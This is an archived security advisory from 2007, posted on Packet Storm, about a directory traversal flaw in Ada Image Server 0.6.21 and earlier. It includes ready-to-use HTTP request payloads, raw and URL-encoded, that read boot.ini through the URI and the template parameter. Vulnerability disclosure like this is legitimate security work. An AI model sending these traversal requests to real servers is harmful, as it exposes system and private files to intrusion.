exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

adaimage-traverse.txt

adaimage-traverse.txt
Posted Dec 24, 2007
Authored by Luigi Auriemma | Site aluigi.org

Ada Image Server (ImgSvr) versions 0.6.21 and below suffer from a directory traversal vulnerability.

tags | exploit, file inclusion
SHA-256 | 48741fd326a47ba1aaa2e02b25501b48f25dc0ee2b47ce210f96067d58e0761f

adaimage-traverse.txt

Change Mirror Download

#######################################################################

Luigi Auriemma

Application: Ada Image server (ImgSvr)
http://adaimgsvr.sourceforge.net
Versions: <= 0.6.21 and SVN <= 28
Platforms: Windows and *nix
Bug: directory traversal
Exploitation: remote
Date: 24 Dec 2007
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


>From developer's website:
"ImgSvr is a personal or corporate Embedded Picture Web Server that
let's you efficiently browse digital pictures. Contrary to other
gallery systems, imgsvr aimed to be an easy and fully dynamic picture
server, no static created thumbnails are created."


#######################################################################

======
2) Bug
======


A directory traversal vulnerability can be exploited through the usage
of additional chars before the URI.
In my tests was good any byte except NULL, line feed, ?, :, slash and
backslash (so an amount of valid chars between 248 and 251 depending by
the location of the char and if has been used the hex format).

A secondary type of directory traversal is exploitable through the
template parameter.

If the root directory of the server is protected by authentication, the
attacker must know the right username and password.


#######################################################################

===========
3) The Code
===========


GET hello../../../../../boot.ini HTTP/1.0

GET anything_you_want../..%2f../%2e.%5c..%5cboot.ini HTTP/1.0

http://SERVER:1235/?template=..\..\..\..\boot.ini


#######################################################################

======
4) Fix
======


The problems will be fixed in the next version.


#######################################################################


---
Luigi Auriemma
http://aluigi.org
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close